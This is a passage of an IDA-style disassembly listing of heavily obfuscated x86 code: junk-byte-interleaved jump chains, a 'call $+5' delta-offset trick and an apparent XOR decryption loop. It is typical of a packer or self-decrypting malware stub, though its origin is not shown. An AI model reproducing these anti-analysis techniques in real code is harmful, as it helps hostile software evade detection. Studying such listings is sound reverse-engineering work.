; CODE XREF: DMN1:loc_46E052j add ebx, 1 bswap ecx adc ecx, 0A56085CDh jmp short loc_46E073 ; --------------------------------------------------------------------------- dd 0CB6D02ACh, 0BF89BA88h db 74h, 0B9h, 0F6h ; --------------------------------------------------------------------------- loc_46E073: ; CODE XREF: DMN1:0046E066j jmp short loc_46E08A ; --------------------------------------------------------------------------- db 0C5h, 0DFh, 0FDh dd 0AC8D2826h, 3BE9AB1h, 52A8B2FDh, 2E746D8Fh ; --------------------------------------------------------------------------- adc al, 0E5h loc_46E08A: ; CODE XREF: DMN1:loc_46E073j cld jmp short loc_46E0AB ; --------------------------------------------------------------------------- db 76h, 7Ch, 0EEh dd 33BDC016h, 447A9B26h, 87F7512h, 674FDA3h, 0C0CEA640h dd 0B4367C72h db 91h, 0E6h, 2Bh ; --------------------------------------------------------------------------- loc_46E0AB: ; CODE XREF: DMN1:0046E08Bj xchg esp, edi jmp short loc_46E0CD ; --------------------------------------------------------------------------- db 17h dd 0F9680829h, 9F597006h, 0D9E9ACACh, 0E1A9D185h, 62A2C3FFh dd 291EF62Eh, 0D6024806h ; --------------------------------------------------------------------------- setalc loc_46E0CD: ; CODE XREF: DMN1:0046E0ADj jmp short loc_46E0EC ; --------------------------------------------------------------------------- db 5Ah dd 7AFB9CF8h, 1E002A26h, 97350D67h, 0F9EF2F03h, 0D17D7E0Eh dd 294B7281h, 9287D269h ; --------------------------------------------------------------------------- loc_46E0EC: ; CODE XREF: DMN1:loc_46E0CDj add ebx, 1 clc jmp short loc_46E0F6 ; --------------------------------------------------------------------------- dec ebp inc eax setalc nop loc_46E0F6: ; CODE XREF: DMN1:0046E0F0j jmp short loc_46E0FA ; --------------------------------------------------------------------------- db 0Ah, 41h ; --------------------------------------------------------------------------- loc_46E0FA: ; CODE XREF: DMN1:loc_46E0F6j xor esi, 0A2A2C30Dh jmp short loc_46E106 ; --------------------------------------------------------------------------- dw 8AB0h db 74h, 0CFh ; --------------------------------------------------------------------------- loc_46E106: ; CODE XREF: DMN1:0046E100j rcl ebp, 1 xchg edx, ecx sub esp, 1 jz short loc_46E17F jmp short loc_46E120 ; --------------------------------------------------------------------------- db 0EFh, 98h, 13h ; --------------------------------------------------------------------------- std jmp short loc_46E169 ; --------------------------------------------------------------------------- dec edx std les ebp, [ebx] jl short loc_46E153 retn 0F1ABh ; --------------------------------------------------------------------------- loc_46E120: ; CODE XREF: DMN1:0046E10Fj xchg ebp, esi std xchg edx, esp std jmp short loc_46E132 ; --------------------------------------------------------------------------- cmp byte ptr [eax+eax*8], 9Bh daa setalc add ah, ch dec esp cld loc_46E132: ; CODE XREF: DMN1:0046E126j inc ebp jmp short loc_46E142 ; --------------------------------------------------------------------------- db 23h, 0B0h, 0D5h dd 0BE7DE4C8h, 5F3D822h db 0A4h, 7Dh ; --------------------------------------------------------------------------- loc_46E142: ; CODE XREF: DMN1:0046E133j jmp short loc_46E156 ; --------------------------------------------------------------------------- dd 11980387h, 0DA81E795h, 0B70EF085h db 6Bh, 15h, 2 ; --------------------------------------------------------------------------- loc_46E153: ; CODE XREF: DMN1:0046E11Bj push edi cld cmpsb loc_46E156: ; CODE XREF: DMN1:loc_46E142j jmp short loc_46E164 ; --------------------------------------------------------------------------- loc_46E158: ; CODE XREF: DMN1:0046E172j db 64h xor eax, 65521A77h test al, 7 ; --------------------------------------------------------------------------- dd 16201BAh ; --------------------------------------------------------------------------- loc_46E164: ; CODE XREF: DMN1:loc_46E156j xchg ebp, ecx jmp short loc_46E176 ; --------------------------------------------------------------------------- xchg eax, ebp loc_46E169: ; CODE XREF: DMN1:0046E115j and ebx, eax aam 85h push ecx lahf sal dword ptr gs:[ebx], 1 loopne loc_46E158 into daa loc_46E176: ; CODE XREF: DMN1:0046E166j bswap eax xchg esp, edi jmp loc_46DB3D ; --------------------------------------------------------------------------- loc_46E17F: ; CODE XREF: DMN1:0046E10Dj xchg ebp, ecx xchg esp, edi jmp short loc_46E192 ; --------------------------------------------------------------------------- db 0ACh, 62h, 94h ; --------------------------------------------------------------------------- cmp eax, 0D4CD9275h mov eax, ds:0AD906C39h loc_46E192: ; CODE XREF: DMN1:0046E183j pop edx jmp short loc_46E19F ; --------------------------------------------------------------------------- db 3Ch, 93h, 6Dh ; --------------------------------------------------------------------------- mov ecx, 61643D8Ah xchg eax, ecx loc_46E19F: ; CODE XREF: DMN1:0046E193j std jmp short loc_46E1A6 ; --------------------------------------------------------------------------- dw 9B3Ch db 0E8h, 0D5h ; --------------------------------------------------------------------------- loc_46E1A6: ; CODE XREF: DMN1:0046E1A0j jmp short loc_46E1C3 ; --------------------------------------------------------------------------- dd 2E8F8608h, 0D5BC82D6h, 39397EFEh, 0C4B0E78Ch, 873E7C94h dd 0E38F4A04h db 0B4h, 88h, 0B9h ; --------------------------------------------------------------------------- loc_46E1C3: ; CODE XREF: DMN1:loc_46E1A6j jmp loc_46D59E ; --------------------------------------------------------------------------- loc_46E1C8: ; CODE XREF: DMN1:loc_46EDD4j popa pop ebp jmp loc_46DA1F ; --------------------------------------------------------------------------- db 66h dd 2A43647Fh, 0A18C08B5h, 0C019A4FDh, 0EA995CAAh, 0BE4DF6D7h dd 76FCD05Bh, 0DB5CE48Dh, 9B0EC333h, 704DAEFAh, 65B971A0h dd 1E5C1546h, 4B7322C8h, 9871149Ch, 0E741097h, 455A3904h dd 3DD8185h, 40B8605Ch, 0D8AB6281h, 0EC4284EFh, 45835FFh dd 0B008F613h, 5BA18846h, 3BBF5987h, 73CF5AA7h, 1D471731h dd 0F168BEB3h, 750243A2h, 65AA5F3Ah, 0F59E3312h, 405A6062h dd 8976CF2Dh, 0E22B859h, 0AED59887h, 848FC843h, 98C2AB62h dd 9C91E0C5h, 3A49EDA1h, 0CAB3B0Eh, 2DF62AC3h, 7C2E7B92h dd 2BD043C6h, 0BD2D35CBh, 0B10CCA89h, 0BA7EC137h, 857E0F65h dd 7FCD2249h, 0FFEC9D70h, 37AAF5E0h, 45DDD18Eh, 0A31323C9h dd 76E6312Bh, 471490h, 3DBCDA63h, 0F5059287h, 0F40DFA8Eh dd 0CE471970h, 0BC0EBC48h, 0C1B6E758h, 0E28CE446h, 0A0879FB5h dd 7B4F0613h, 50874078h, 6823046Fh, 0D1C5F232h, 0DDE719EBh dd 19DF8FA0h, 3B40AB98h, 5E08A55Ch, 0E2DBF5D2h, 8228EF84h dd 0D9F13B3Fh, 37510A72h, 93E77007h, 0D9819EF0h, 1BCDA877h dd 57DF8255h, 448C8A42h, 0FC9A78E2h, 3ED86F18h, 94F6C936h dd 934C071h, 8933C0Dh, 13C73F7Eh, 0B97DD778h, 0C0C237D9h dd 0DA46EA17h, 0C11547A1h, 30C99C54h, 4B5337B1h, 0B0D0D521h dd 0FCBF51F2h, 0D41A0910h, 821D4468h, 5EDCD297h, 6CE18448h dd 6E2EC4E9h, 273DFEF1h, 32AE0D65h, 85081BF3h, 2E32A594h dd 64E1A17Ah, 91EA8EC4h, 0D87681EDh, 0C5C223E6h, 0AB030380h dd 221411CEh, 0FC39F3B1h, 0BA958644h, 2581262Fh, 294C7D26h dd 36CC4CA7h, 1319DFDEh, 1EDB6440h, 675D76B5h, 0E1B9C263h dd 0ADF5570Ch, 0C41DA4B4h, 9A297404h, 6A6CA4Ch, 0BE3E4A61h dd 72BF0CD4h, 0F5191286h, 0E69AE44Bh, 608E4CD6h, 0CBAF7C50h dd 0B21A4A08h, 3C868F7Ah, 4F40BB9Dh, 404E3A48h, 4AA4ACD7h dd 0C329517Ch, 0D40506DEh, 0CAE0D68h, 2C38E491h, 0E263D921h dd 0A652789Ah, 0B532B18Ch, 0D98286B6h, 748BB1A6h, 0B9EC2000h dd 0D1F00689h, 0BAA240B2h, 39EE191Ah, 0D8145589h, 5EB4371Fh dd 43C3DFF8h, 97036D32h, 0BC808D07h, 328FD0CEh, 0F8A1E884h dd 4B3DEA3h, 6C79C1BFh, 0C4046FA4h, 63BEED89h, 6CAE7F4Ah dd 1FF5C9D6h, 9D1E701Ah, 958E9EC2h, 717AE152h, 0AB481C97h dd 0EE9B7CCCh, 0FA94E9BBh, 1E34E314h, 60A2D5C3h, 0E25804F5h dd 0F5750D72h, 863F7891h, 80BBB389h, 67AB8B4h, 0C5B77F90h dd 1D01521Ch, 0CDCE5D9Dh, 0C4EBC5CCh, 1F37B22h, 0ABB9CF3Ah dd 0E4CA952Ah, 5D9D5A9Bh, 0EFC25CCCh, 41A1EEC5h, 0AD8FD8Ch dd 0E5A56046h, 185947A7h, 0BD0F4C3Fh, 7A34429Eh, 0C45295EDh dd 77E4A300h, 1D852547h, 76FDE2C4h, 8F638496h, 6CDC3575h dd 0F8389F1Dh, 0A719D8E6h, 0B4F569BDh, 0CB528897h, 30F3BA4Ah dd 0AA05300Bh, 557932BCh, 0FA85AEA9h, 55EAC370h, 2A7BFF7Ah dd 0FC0A8E73h, 39A3DF1h, 0AB69E607h, 0B4F63906h, 8AB55F31h dd 2DA45D2Eh, 8FBC6BB9h, 0D7274AA2h, 3B6F38ABh, 5D2B8ECh dd 0E0A1CDB4h, 9834B31Bh, 9D730F91h, 0A64AB0EAh, 0E199194Eh dd 215C5342h, 0D7697064h, 4D070330h, 0A08AFAD7h, 0E4508609h dd 0E026129Fh, 0CCAC50D7h, 4A1446B0h, 6A89F61Ch, 0D33FFE64h dd 0C48AB1E7h, 0D064446Ah, 61F9FC98h, 7257E42Dh, 0C3350985h dd 0E64AD5EBh, 0A9337303h, 2A16C715h, 92802F27h, 0A66EC515h dd 0B4826407h, 873DB376h, 0D27AA6FEh, 1367101h, 0C22D0E00h dd 0ADFF3624h, 0EDCA117Bh, 29719F59h, 0DC3F6480h, 0C2B83575h dd 168B781h, 0BD58C29h, 0DBDB3A57h, 0D10A0402h, 0AEE59F56h dd 0DA918A05h, 5567D911h, 0B4F32BEDh, 49DE0B6Eh, 0BE38E0AEh dd 40694E2Eh, 0FF7BE7FDh, 0D7E81CE2h, 3BB989B0h, 0BCDF35B0h dd 99A4F667h, 2D464780h, 3A3B82FDh, 7B29D78Fh, 0B2D91652h dd 1125E5EEh, 2DDEE4A2h, 6C0E5B4Fh, 2C2C988Ah, 7A2C5DF9h dd 0C0DA76B3h, 0FF300BABh, 0B751561Ah, 0B18B30FEh, 0E0F3C14Eh dd 0CF603CFFh, 0E302D77Ah, 2453625h, 0C1AF7B93h, 0D566CDE1h dd 0DB259E74h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call $+5 pop ebp sub ebp, 6E63Ch pusha mov eax, 8BE55D3Ah push eax jmp short loc_46E669 ; --------------------------------------------------------------------------- dd 0ADB80554h, 0D753EC6Ch, 3AB4EE6Eh, 0B05BCE14h, 0B6015DD0h dd 3F754911h, 5BAA10F2h db 0C7h ; --------------------------------------------------------------------------- loc_46E669: ; CODE XREF: DMN1:0046E64Aj jmp short loc_46E677 ; --------------------------------------------------------------------------- db 0E8h dd 0ED7B5937h, 0CCBB2CA3h db 55h, 26h, 0D1h ; --------------------------------------------------------------------------- loc_46E677: ; CODE XREF: DMN1:loc_46E669j or eax, 0FFFFFFFFh jmp short loc_46E67D ; --------------------------------------------------------------------------- stc loc_46E67D: ; CODE XREF: DMN1:0046E67Aj jmp short loc_46E680 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_46E680: ; CODE XREF: DMN1:loc_46E67Dj inc eax jmp short loc_46E68F ; --------------------------------------------------------------------------- db 7Bh dd 567FB0BFh, 0DA5300D9h db 0F3h, 3Ch, 0F5h ; --------------------------------------------------------------------------- loc_46E68F: ; CODE XREF: DMN1:0046E681j jmp short loc_46E692 ; --------------------------------------------------------------------------- db 0CAh ; --------------------------------------------------------------------------- loc_46E692: ; CODE XREF: DMN1:loc_46E68Fj xchg ecx, eax cmc bswap edx xor edx, 0DE16CA12h jmp short loc_46E6A9 ; --------------------------------------------------------------------------- db 0F8h dd 0B986D112h, 72A24CDCh db 0BCh ; --------------------------------------------------------------------------- loc_46E6A9: ; CODE XREF: DMN1:0046E69Dj jmp short loc_46E6AE ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0C5h, 24h ; --------------------------------------------------------------------------- loc_46E6AE: ; CODE XREF: DMN1:loc_46E6A9j jmp short loc_46E6CA ; --------------------------------------------------------------------------- dd 7F7D9952h, 5CF70044h, 0E1517590h, 0ED57B87Ah, 1087DD34h dd 2413C033h db 84h, 94h ; --------------------------------------------------------------------------- loc_46E6CA: ; CODE XREF: DMN1:loc_46E6AEj jmp short loc_46E6D9 ; --------------------------------------------------------------------------- dd 530EDA78h, 38EEB3AAh, 0A5343470h db 84h ; --------------------------------------------------------------------------- loc_46E6D9: ; CODE XREF: DMN1:loc_46E6CAj xor ebx, 0E5BF846Fh not edi jmp short loc_46E6F9 ; --------------------------------------------------------------------------- db 39h dd 0CED76969h, 1D162CC4h, 7DE13031h, 3EEAA979h, 78C7BF7Dh db 62h ; --------------------------------------------------------------------------- loc_46E6F9: ; CODE XREF: DMN1:0046E6E1j jmp short loc_46E711 ; --------------------------------------------------------------------------- db 72h dd 0ED225BB1h, 0CE0F489Ch, 0DEE6D2F3h, 0F03D3707h, 6E3DE3C9h db 0E8h ; --------------------------------------------------------------------------- loc_46E711: ; CODE XREF: DMN1:loc_46E6F9j jmp short loc_46E71F ; --------------------------------------------------------------------------- cmp [edi+1AD618A2h], ch stc test al, 3Dh or esi, [esi+39h] loc_46E71F: ; CODE XREF: DMN1:loc_46E711j or ecx, 41000h jmp short loc_46E732 ; --------------------------------------------------------------------------- db 5Eh dd 8625A3F1h, 940D3D8Ch ; --------------------------------------------------------------------------- fnstenv byte ptr [edi] loc_46E732: ; CODE XREF: DMN1:0046E725j rcr edx, 1 jmp short loc_46E73E ; --------------------------------------------------------------------------- dw 6B07h dd 8C34D1B4h db 1Ah, 0A2h ; --------------------------------------------------------------------------- loc_46E73E: ; CODE XREF: DMN1:0046E734j jmp short loc_46E749 ; --------------------------------------------------------------------------- dd 95E67B76h, 50097B94h db 10h ; --------------------------------------------------------------------------- loc_46E749: ; CODE XREF: DMN1:loc_46E73Ej jmp short loc_46E764 ; --------------------------------------------------------------------------- db 28h dd 0F95A4B6h, 0B8B5F61Fh, 81216E48h, 0CB6F5EB2h, 23FDBB2Ch dd 8AB43B5Ah ; --------------------------------------------------------------------------- loc_46E764: ; CODE XREF: DMN1:loc_46E749j jmp short loc_46E778 ; --------------------------------------------------------------------------- dw 8225h dd 1B3E362Ah, 0A31D7EBh, 0F33B2B50h, 424191EBh ; --------------------------------------------------------------------------- loc_46E778: ; CODE XREF: DMN1:loc_46E764j jmp short loc_46E792 ; --------------------------------------------------------------------------- dw 0FE1h dd 61168728h, 0B6E61944h, 0B6F2E075h, 0F084413Ah, 7F985D21h db 87h, 52h ; --------------------------------------------------------------------------- loc_46E792: ; CODE XREF: DMN1:loc_46E778j jmp short loc_46E7AE ; --------------------------------------------------------------------------- dd 90BDE381h, 0AEB51133h, 59B18CA5h, 0B7A91B8Ah, 0CEEAEDE2h dd 100C28B7h ; --------------------------------------------------------------------------- mov al, 0FDh loc_46E7AE: ; CODE XREF: DMN1:loc_46E792j jmp short loc_46E7C9 ; --------------------------------------------------------------------------- dd 0BC8D4A59h, 0D2CFDDF5h, 0F988697Ah, 0D213A528h, 0FB7573A0h dd 0E579A9F3h db 15h ; --------------------------------------------------------------------------- loc_46E7C9: ; CODE XREF: DMN1:loc_46E7AEj jmp short loc_46E7D6 ; --------------------------------------------------------------------------- db 7Ah dd 0F56E1A5Ah, 0E7BE4319h ; --------------------------------------------------------------------------- pop edx popa loc_46E7D6: ; CODE XREF: DMN1:loc_46E7C9j jmp short loc_46E7E2 ; --------------------------------------------------------------------------- dd 0E449E57Fh, 8F1F10BCh db 0F0h, 19h ; --------------------------------------------------------------------------- loc_46E7E2: ; CODE XREF: DMN1:loc_46E7D6j jmp short loc_46E802 ; --------------------------------------------------------------------------- dd 4D7F32Ah, 2231709Eh, 5CAB97C8h, 6195ABB4h, 0BE4702E7h dd 2ECC5E7Ah, 24E1342Dh db 0E9h, 0BEh ; --------------------------------------------------------------------------- loc_46E802: ; CODE XREF: DMN1:loc_46E7E2j mov esi, 0B506h loc_46E807: ; CODE XREF: DMN1:0046EC8Aj jmp short loc_46E81D ; --------------------------------------------------------------------------- db 7Eh, 83h, 0B9h dd 265FC658h, 0D990D90h, 36FD999Dh, 15B68ACCh db 4Ch ; --------------------------------------------------------------------------- loc_46E81D: ; CODE XREF: DMN1:loc_46E807j jmp short loc_46E825 ; --------------------------------------------------------------------------- dec ebp cmp byte ptr [ebx], 2Ch jo short near ptr byte_46E833 loc_46E825: ; CODE XREF: DMN1:loc_46E81Dj jmp short loc_46E834 ; --------------------------------------------------------------------------- db 51h dd 8DCD165Fh, 0EAD50744h db 9Eh, 10h, 0B2h byte_46E833 db 0F2h ; CODE XREF: DMN1:0046E823j ; --------------------------------------------------------------------------- loc_46E834: ; CODE XREF: DMN1:loc_46E825j cmc jmp short loc_46E84D ; --------------------------------------------------------------------------- db 0BEh dd 44C921E3h, 0E567B7E1h, 3111DF04h, 47187471h, 768B2CD7h ; --------------------------------------------------------------------------- das loc_46E84D: ; CODE XREF: DMN1:0046E835j jmp short loc_46E864 ; --------------------------------------------------------------------------- db 0F6h dd 0AB2B52A5h, 8F76B146h, 5D2120A3h, 0A79E78C8h, 0F900A01Ah ; --------------------------------------------------------------------------- loc_46E864: ; CODE XREF: DMN1:loc_46E84Dj jmp short loc_46E86A ; --------------------------------------------------------------------------- dw 87D9h db 0DEh, 76h ; --------------------------------------------------------------------------- loc_46E86A: ; CODE XREF: DMN1:loc_46E864j jmp short loc_46E871 ; --------------------------------------------------------------------------- mov ds:532DA24Ah, eax loc_46E871: ; CODE XREF: DMN1:loc_46E86Aj jmp short loc_46E88D ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- or al, 70h push ss retn 0FE52h ; --------------------------------------------------------------------------- dw 0DCA4h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 4Ah, 82h, 0CBh dd 4CD3F3Bh, 8C1C13DAh, 0D231FFA6h db 0D9h ; --------------------------------------------------------------------------- loc_46E88D: ; CODE XREF: DMN1:loc_46E871j jmp short loc_46E8AE ; --------------------------------------------------------------------------- db 6 dd 0ADBDC58Dh, 0E4F40D80h, 99D5065Bh, 872646F3h, 0C15A629Fh dd 2D5B8D07h, 19530ACBh ; --------------------------------------------------------------------------- pop ss setalc loc_46E8AE: ; CODE XREF: DMN1:loc_46E88Dj jmp short loc_46E8B1 ; --------------------------------------------------------------------------- db 3Ch ; --------------------------------------------------------------------------- loc_46E8B1: ; CODE XREF: DMN1:loc_46E8AEj cmc xchg ebp, ebp jmp short loc_46E8BA ; --------------------------------------------------------------------------- test byte ptr [edx-44h], 0FAh loc_46E8BA: ; CODE XREF: DMN1:0046E8B4j jmp short loc_46E8D8 ; --------------------------------------------------------------------------- dd 0FD98468Bh, 73C8E9C0h, 2062FD7Dh, 3A87B49Eh, 3907E728h dd 8472BF59h, 33BD9996h ; --------------------------------------------------------------------------- loc_46E8D8: ; CODE XREF: DMN1:loc_46E8BAj jmp short loc_46E8DB ; --------------------------------------------------------------------------- dec ebp loc_46E8DB: ; CODE XREF: DMN1:loc_46E8D8j jmp short $+2 jmp short loc_46E8ED ; --------------------------------------------------------------------------- db 2Fh dd 1C00AD09h, 0D66E14ECh, 633C242Fh db 6Eh ; --------------------------------------------------------------------------- loc_46E8ED: ; CODE XREF: DMN1:0046E8DDj jmp short loc_46E8F5 ; --------------------------------------------------------------------------- db 9Eh dd 841FF8B7h ; --------------------------------------------------------------------------- pop edi loc_46E8F5: ; CODE XREF: DMN1:loc_46E8EDj xchg edx, edi not edx xor edi, 0CBD77CF6h clc jmp short loc_46E918 ; --------------------------------------------------------------------------- dw 4711h dd 177C9964h, 0B6B141F9h, 4CEA7670h, 0CF1C1079h, 392DFBDDh ; --------------------------------------------------------------------------- loc_46E918: ; CODE XREF: DMN1:0046E900j rcr ebx, cl mov edi, ebp jmp short loc_46E925 ; --------------------------------------------------------------------------- dw 0E51Eh dd 8BDD12CEh db 4Ch ; --------------------------------------------------------------------------- loc_46E925: ; CODE XREF: DMN1:0046E91Cj jmp short loc_46E934 ; --------------------------------------------------------------------------- push esi xor al, 9Fh daa and [edi], cl add dword ptr [edx+4Dh], 4DB51B3Fh loc_46E934: ; CODE XREF: DMN1:loc_46E925j cmc jmp short loc_46E94A ; --------------------------------------------------------------------------- adc eax, 1429825Fh push 25C562F5h stosd xchg ch, bl sub edx, [esi-783C6ABh] loc_46E94A: ; CODE XREF: DMN1:0046E935j or edx, 45F45531h jmp short loc_46E95B ; --------------------------------------------------------------------------- dw 717Fh dd 726F2EDEh db 6Fh, 6Ah, 0FDh ; --------------------------------------------------------------------------- loc_46E95B: ; CODE XREF: DMN1:0046E950j inc edx jmp short loc_46E967 ; --------------------------------------------------------------------------- dw 37FAh dd 4B45EC36h ; --------------------------------------------------------------------------- rcr dword ptr [ecx], 0C4h loc_46E967: ; CODE XREF: DMN1:0046E95Cj sar edx, cl jmp short loc_46E988 ; --------------------------------------------------------------------------- pop edi retf ; --------------------------------------------------------------------------- db 30h, 5Ah, 25h dd 0C9FA793Dh, 0F02AD776h, 72FC9981h, 0FAE2B28Ah, 7634E66h dd 3B863FDBh ; --------------------------------------------------------------------------- loc_46E988: ; CODE XREF: DMN1:0046E969j add edi, ecx loc_46E98A: ; CODE XREF: DMN1:0046E9D3j xchg ecx, eax cmc jmp short loc_46E9A6 ; --------------------------------------------------------------------------- db 0A4h dd 1DEFD760h, 0DC0378F7h, 0D90E448Ch, 0DAA577BAh, 6B4F5837h ; --------------------------------------------------------------------------- fadd st(7), st loc_46E9A6: ; CODE XREF: DMN1:0046E98Dj stc clc jmp short loc_46E9C2 ; --------------------------------------------------------------------------- dw 0F374h dd 0A729DCA7h, 0A8D8C1D6h, 0F5E1E61Eh, 967D12F5h, 0A62ABD84h db 0EDh, 53h ; --------------------------------------------------------------------------- loc_46E9C2: ; CODE XREF: DMN1:0046E9A8j jmp short loc_46E9D1 ; --------------------------------------------------------------------------- dd 0B7211B2Dh, 6AB01780h, 0A19262C0h db 7Ch ; --------------------------------------------------------------------------- loc_46E9D1: ; CODE XREF: DMN1:loc_46E9C2j jmp short loc_46E9D5 ; --------------------------------------------------------------------------- js short loc_46E98A loc_46E9D5: ; CODE XREF: DMN1:loc_46E9D1j mov ecx, [edi] not edi jmp short loc_46E9F1 ; --------------------------------------------------------------------------- db 0DFh dd 0EE13D5E8h, 0DAA2D36h, 244A62E9h, 4081AC20h, 1F339085h ; --------------------------------------------------------------------------- dec edi loc_46E9F1: ; CODE XREF: DMN1:0046E9D9j xor ecx, [esp] jmp short loc_46EA01 ; --------------------------------------------------------------------------- dw 6C57h dd 20C38D58h, 52745815h db 89h ; --------------------------------------------------------------------------- loc_46EA01: ; CODE XREF: DMN1:0046E9F4j jmp short loc_46EA22 ; --------------------------------------------------------------------------- db 0Dh dd 979CB8D3h, 3DFFBF11h, 2A286AA6h, 9AC0AA9Dh, 0A4704649h dd 9202D4CBh, 5D7FF4BCh db 26h, 0BFh ; --------------------------------------------------------------------------- loc_46EA22: ; CODE XREF: DMN1:loc_46EA01j jmp short loc_46EA28 ; --------------------------------------------------------------------------- dd 3446FA36h ; --------------------------------------------------------------------------- loc_46EA28: ; CODE XREF: DMN1:loc_46EA22j xchg ecx, [esp] jmp short loc_46EA3A ; --------------------------------------------------------------------------- db 2Dh, 0ABh, 41h ; --------------------------------------------------------------------------- mov dword ptr [ecx+73A5F98Bh], 0ECF19DABh loc_46EA3A: ; CODE XREF: DMN1:0046EA2Bj rcr edi, 1 bswap edi jmp short loc_46EA51 ; --------------------------------------------------------------------------- dd 24C82075h, 73217997h, 2B38E8DCh, 5C13C955h db 0D2h ; --------------------------------------------------------------------------- loc_46EA51: ; CODE XREF: DMN1:0046EA3Ej cld test ebx, 87096B2Fh jmp short loc_46EA6C ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0D3h dd 1483EBFFh, 0D8C546F2h, 98AD6195h, 2F9E2D72h ; --------------------------------------------------------------------------- loc_46EA6C: ; CODE XREF: DMN1:0046EA58j jmp short loc_46EA73 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0D3h db 97h, 1Eh, 64h ; --------------------------------------------------------------------------- loc_46EA73: ; CODE XREF: DMN1:loc_46EA6Cj clc add ecx, 9C66121Bh jmp short loc_46EA82 ; --------------------------------------------------------------------------- dd 8FE17DDDh db 0FCh, 70h ; --------------------------------------------------------------------------- loc_46EA82: ; CODE XREF: DMN1:0046EA7Aj xchg edi, ebx xchg esi, eax ror ecx, 1 clc stc jmp short loc_46EA92 ; --------------------------------------------------------------------------- dd 0EBA1F3D3h db 92h, 0B9h ; --------------------------------------------------------------------------- loc_46EA92: ; CODE XREF: DMN1:0046EA8Aj jmp short loc_46EAB2 ; --------------------------------------------------------------------------- dd 0BD8E9448h, 3A095649h, 4630B1C1h, 4403CD13h, 0F399B291h dd 0E1B3AF2Ch, 0B05E9ACDh db 0C8h, 50h ; --------------------------------------------------------------------------- loc_46EAB2: ; CODE XREF: DMN1:loc_46EA92j jmp short loc_46EACA ; --------------------------------------------------------------------------- dd 316AE43Bh, 4BB199B0h, 4C526A1Fh, 4356A06Fh, 1DB2F930h db 52h, 0D8h ; --------------------------------------------------------------------------- loc_46EACA: ; CODE XREF: DMN1:loc_46EAB2j xchg ecx, [esp] cld jmp short loc_46EAD9 ; --------------------------------------------------------------------------- dd 0CF55064Ah, 42436EDBh ; --------------------------------------------------------------------------- inc ecx loc_46EAD9: ; CODE XREF: DMN1:0046EACEj cmc neg edx jmp short loc_46EAF7 ; --------------------------------------------------------------------------- dw 7781h dd 0FA592E87h, 0FE75C5A0h, 73F9D194h, 0FB6E106Eh, 2BA0D5D6h db 0F4h, 0A3h, 93h ; --------------------------------------------------------------------------- loc_46EAF7: ; CODE XREF: DMN1:0046EADCj xchg esp, edx mov ebx, esi jmp short loc_46EB13 ; --------------------------------------------------------------------------- xor ds:4020E785h, ecx mov dl, 27h retn ; --------------------------------------------------------------------------- dw 0E47Fh dd 0B288B586h, 0EFF580E0h db 26h, 0CCh, 7Fh ; --------------------------------------------------------------------------- loc_46EB13: ; CODE XREF: DMN1:0046EAFBj clc jmp short loc_46EB1E ; --------------------------------------------------------------------------- dw 6F24h dd 48530770h db 91h, 0C5h ; --------------------------------------------------------------------------- loc_46EB1E: ; CODE XREF: DMN1:0046EB14j bswap esp jmp short loc_46EB33 ; --------------------------------------------------------------------------- dw 1A4Eh dd 0A0944158h, 434DB1DAh, 35C2751Dh db 4Fh, 38h, 94h ; --------------------------------------------------------------------------- loc_46EB33: ; CODE XREF: DMN1:0046EB20j jmp short loc_46EB36 ; --------------------------------------------------------------------------- db 64h ; --------------------------------------------------------------------------- loc_46EB36: ; CODE XREF: DMN1:loc_46EB33j add ebx, ebp shl edi, cl jmp short loc_46EB45 ; --------------------------------------------------------------------------- dd 0C8FC199Dh, 0BFCBD804h ; --------------------------------------------------------------------------- inc ebp loc_46EB45: ; CODE XREF: DMN1:0046EB3Aj or edi, 87D6DA72h mov [ebx], ecx xchg esi, esi xchg esp, ecx jmp short loc_46EB70 ; --------------------------------------------------------------------------- inc dword ptr [edi-5Dh] mov fs, word ptr [edx+ebp*8-62h] xor eax, 74FBF852h adc eax, 9A878F06h xor al, 72h and eax, 86419AAFh test eax, 8416A2EAh loc_46EB70: ; CODE XREF: DMN1:0046EB51j xchg ebx, ebp jmp short loc_46EB89 ; --------------------------------------------------------------------------- dd 34CE64F3h, 0B3FA6AF2h, 0BD8D79D3h, 20A38589h, 0B939AA63h db 0C2h ; --------------------------------------------------------------------------- loc_46EB89: ; CODE XREF: DMN1:0046EB72j jmp short loc_46EB9C ; --------------------------------------------------------------------------- db 0F6h dd 0F5E740FCh, 0EA6B1AA9h, 2ADC45C0h, 5E8EAD4Fh ; --------------------------------------------------------------------------- loc_46EB9C: ; CODE XREF: DMN1:loc_46EB89j inc esi jmp short loc_46EBBC ; --------------------------------------------------------------------------- db 8Fh dd 3095C9F6h, 1CB28BCh, 0F89FC6A6h, 0F21269DCh, 82BFE3EEh dd 0A1270CC2h, 0B3730BFAh ; --------------------------------------------------------------------------- loc_46EBBC: ; CODE XREF: DMN1:0046EB9Dj xchg eax, esp jmp short loc_46EBC4 ; --------------------------------------------------------------------------- dd 5778E2E0h ; --------------------------------------------------------------------------- loc_46EBC4: ; CODE XREF: DMN1:0046EBBEj bswap eax inc esi jmp short loc_46EBDC ; --------------------------------------------------------------------------- cmp es:[eax+edx*4-3857766Fh], dl cmp bh, [ecx+3Ch] sal cl, 0B8h mov eax, 2398D959h loc_46EBDC: ; CODE XREF: DMN1:0046EBC7j stc xchg edi, ebp clc jmp short loc_46EBF6 ; --------------------------------------------------------------------------- dw 0C85Fh dd 42E188Dh, 55CDB0D2h, 27EE2438h, 0C84E2F9Dh ; --------------------------------------------------------------------------- adc edx, edx loc_46EBF6: ; CODE XREF: DMN1:0046EBE0j add esi, 1 cld clc inc esi xchg eax, ebx jmp short loc_46EC0F ; --------------------------------------------------------------------------- adc ch, [edx] sub eax, 80958758h retf 74E7h ; --------------------------------------------------------------------------- dw 884Eh db 0EAh, 4Ah, 0CDh ; --------------------------------------------------------------------------- loc_46EC0F: ; CODE XREF: DMN1:0046EBFEj jmp short loc_46EC18 ; --------------------------------------------------------------------------- db 1Eh, 0FCh, 99h dd 6EAEBA81h ; --------------------------------------------------------------------------- loc_46EC18: ; CODE XREF: DMN1:loc_46EC0Fj dec esp jz short loc_46EC8F jmp short loc_46EC26 ; 